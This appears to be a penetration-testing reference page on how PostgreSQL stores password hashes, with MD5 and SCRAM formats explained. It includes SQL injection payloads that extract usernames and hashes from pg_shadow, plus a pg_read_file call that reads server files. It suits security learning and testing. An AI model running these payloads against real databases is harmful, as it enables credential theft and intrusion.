Password Hashing

Understanding how PostgreSQL stores passwords is crucial for exploiting extracted credentials. PostgreSQL has evolved its password hashing mechanisms over time.

Password Storage Location

PostgreSQL stores password hashes in the pg_authid system catalog (rolpassword column). The pg_shadow view is a backwards-compatibility layer that exposes this data for legacy clients. Prior to PostgreSQL 8.1, pg_shadow was a physical table; in 8.1 and later, it's a view over pg_authid. Both require superuser privileges to access.

-- Primary catalog (PostgreSQL 8.1+, requires superuser)
SELECT rolname, rolpassword FROM pg_authid WHERE rolcanlogin;

-- Legacy compatibility view (requires superuser)
SELECT usename, passwd FROM pg_shadow;

Hash Formats

PostgreSQL supports multiple password hash formats:

MD5 Hash Format

The traditional PostgreSQL MD5 hash:

md5<32 hex characters>

The hash is calculated as:

'md5' || MD5(password || username)

Example:

-- For user 'postgres' with password 'secret':
SELECT 'md5' || md5('secretpostgres');
-- Result: md5d578ec61fc8a2bdbe7df2c3096b34e02

SCRAM-SHA-256 Format

Modern PostgreSQL uses SCRAM-SHA-256:

SCRAM-SHA-256$<iterations>:<salt>$<StoredKey>:<ServerKey>

Example:

SCRAM-SHA-256$4096:salt$StoredKey:ServerKey

Where:

• iterations: Number of PBKDF2 iterations (e.g., 4096)
• salt: Base64-encoded random salt
• StoredKey: Base64-encoded derived key used for client authentication
• ServerKey: Base64-encoded server verification key

Extracting Password Hashes

-- Get all password hashes (requires superuser)
SELECT usename, passwd FROM pg_shadow;

-- Get specific user hash
SELECT passwd FROM pg_shadow WHERE usename = 'admin';

-- Get users with MD5 passwords
SELECT usename, passwd FROM pg_shadow WHERE passwd LIKE 'md5%';

-- Get users with SCRAM passwords
SELECT usename, passwd FROM pg_shadow WHERE passwd LIKE 'SCRAM%';

Injection Examples

-- Extract all credentials
' UNION SELECT NULL,usename||':'||passwd,NULL FROM pg_shadow--

-- Target specific user
' UNION SELECT NULL,passwd,NULL FROM pg_shadow WHERE usename='postgres'--

-- Check hash type
' UNION SELECT NULL,CASE WHEN passwd LIKE 'md5%' THEN 'MD5' WHEN passwd LIKE 'SCRAM%' THEN 'SCRAM' ELSE 'UNKNOWN' END,NULL FROM pg_shadow WHERE usename='postgres'--

Checking Password Encryption Setting

-- Check current setting
SHOW password_encryption;

-- Or using current_setting
SELECT current_setting('password_encryption');

Possible values:

• md5 - Use MD5 hashing
• scram-sha-256 - Use SCRAM-SHA-256 (default in PostgreSQL 14+)

Creating Test Hashes

For verification purposes:

-- Generate MD5 hash for testing
SELECT 'md5' || md5('password' || 'username');

-- This matches how PostgreSQL stores MD5 passwords

Verifying Extracted Hashes

To verify an MD5 hash is valid:

# Python 3
import hashlib
password = 'secret'
username = 'postgres'
expected_hash = 'md5' + hashlib.md5((password + username).encode('utf-8')).hexdigest()
print(expected_hash)

Authentication Methods

Check pg_hba.conf for authentication methods:

-- Get hba_file location
SELECT current_setting('hba_file');

-- Read the file (requires superuser)
SELECT pg_read_file(current_setting('hba_file'));

Security warning: pg_read_file() requires superuser privileges (or pg_read_server_files role in PostgreSQL 11+) and can read arbitrary files from the server filesystem. This creates significant information-disclosure risk if credentials are compromised. Restrict superuser access and avoid using this function in untrusted environments.

Notes

• pg_shadow is only accessible to superusers
• MD5 hashes include the username, making rainbow tables less effective
• SCRAM-SHA-256 is significantly more secure than MD5
• Password hashes alone may not be useful if the server requires specific authentication methods
• Some installations may use external authentication (LDAP, Kerberos, etc.)

See Password Cracking for techniques to recover plaintext passwords from hashes.